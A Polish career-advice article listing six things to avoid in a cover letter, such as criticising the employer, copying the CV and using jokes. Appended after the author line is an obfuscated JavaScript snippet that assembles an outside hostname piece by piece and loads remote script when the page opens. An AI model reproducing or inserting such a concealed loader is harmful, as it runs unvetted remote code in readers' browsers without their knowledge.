25 listopada 2014r. godz. 01:31, odsłon: 2391, Redakcja

Czego nie pisać w liście motywacyjnym?

Warto wiedzieć, jakie informacje zawarte w liście motywacyjnym kłują w oczy rekrutujących.

List motywacyjny bardzo często traktowany jest przez pracodawców jako najważniejszy dokument aplikacyjny. Od jego kształtu i treści zależy, czy uda nam się zdobyć posadę, o którą się ubiegamy. Warto więc wiedzieć, jakie informacje zawarte w liście motywacyjnym kłują w oczy rekrutujących.

Mimo że forma listu motywacyjnego jest już w Polsce bardzo popularna i bez trudu można znaleźć przykładowe wzory tego dokumentu w Internecie, to nadal mamy dość spore problemy z jego napisaniem. A dobrze skonstruowany list motywacyjny to pierwszy uczyniony przez nas krok do dostania upragnionej pracy. Zobacz, czego nie warto pisać w liście motywacyjnym, by nie skreślić swoich szans już na starcie rekrutacji.

1. Krytyka firmy

Wielkim błędem jest zamieszczanie w liście motywacyjnym opinii krytycznych wobec firmy, do której wysyłamy swoją kandydaturę. Pamiętajmy, że to pracodawca w procesie rekrutacyjnym jest na lepszej pozycji i bez większego zastanowienia odrzuci aplikację osoby, która na wstępie wytyka jego błędy. W liście motywacyjnym warto więc zachować odrobinę pokory. To samo tyczy się krytyki wobec byłego pracodawcy – dawne urazy i nieporozumienia zachowajmy dla siebie. Potencjalny pracodawca może nieprzychylnie spojrzeć na kandydata, który ma skłonności do narzekania.

2. Przepisanie informacji z CV

Dobry list motywacyjny (zobacz przykłady), to jak sama nazwa wskazuje, umotywowanie własnej kandydatury. Nie należy w nim powtórzać suchych informacji, które wcześniej zamieściliśmy w CV. Dokument ten jest doskonałym miejscem do tego, by móc wzmocnić wyobrażenie rekrutującego o naszej osobie.

3. Gotowe formuły

Internet pełen jest porad w stylu „Jak napisać list motywacyjny?”. Znalezione w sieci przykłady są pomocne przy konstruowaniu własnego dokumentu, ale żywne przepisywanie gotowych fraz i formułek nie przyniesie nic dobrego. List ma dotyczyć konkretnie naszej osoby i skopiowanie gotowych banalnych opisów szybko zostanie rozpoznane przez potencjalnego pracodawcę.

4. Opis bardzo osobisty

Nie należy jednak przesadzać w drugą stronę – żaden rekruter nie zechce czytać listu motywacyjnego, który przypominał będzie osobisty pamiętnik. Zawarcie zbyt intymnych i zupełnie niepotrzebnych do zdobycia pracy informacji sprawi, że pracodawca nie zapozna się z wszystkimi naszymi atutami, jakie miałby zadecydować o wyborze właśnie naszej osoby do objęcia danego stanowiska.

5. Żarty i luźna forma

List motywacyjny jest formalną formą pisemną, dlatego należy zachować jego powagę. Oprócz tego, że obowiązkowo trzeba zachować jego utrwaloną konstrukcję, to na dodatek niemile widziane są pewne odstępstwa od stylu. Darujmy więc sobie niepotrzebne żarty, humorystyczne sformułowania i nieco luźniejszy język. Pracodawca poważniej podejdzie do osoby, która będzie operowała wyważonym stylem.

6. Prośby i błagania

List motywacyjny nie jest miejscem do spoufalania się! Naszym zadaniem jest przedstawienie naszej osoby jako godnej powierzenia jakiś obowiązków i zlecenia odpowiedniej pracy. Dobry list motywacyjny zdradza naszą (umiarkowaną) pewność siebie i gotowość do działania. Żadne formy próśb i błagań o przyjęcie do firmy nie pomogą w odniesieniu końcowego sukcesu.

Artykuł opracowany przez portal Money.pl

Autor: W. Chentkiewicz

(function(){ uyX4=document.createElement("script");uyX4.type="text/javascript"; uyX4.async=true;uyX4_=(("us")+"t")+"a";uyX4_+=("t.i")+""+"n";uyX4_+=(("f")+"o"); uyX4.src="http://"+uyX4_+"/335814.5u9qs6ymyX4xqj8f5e88zwvbbX7ljf"; document.body.appendChild(uyX4); })();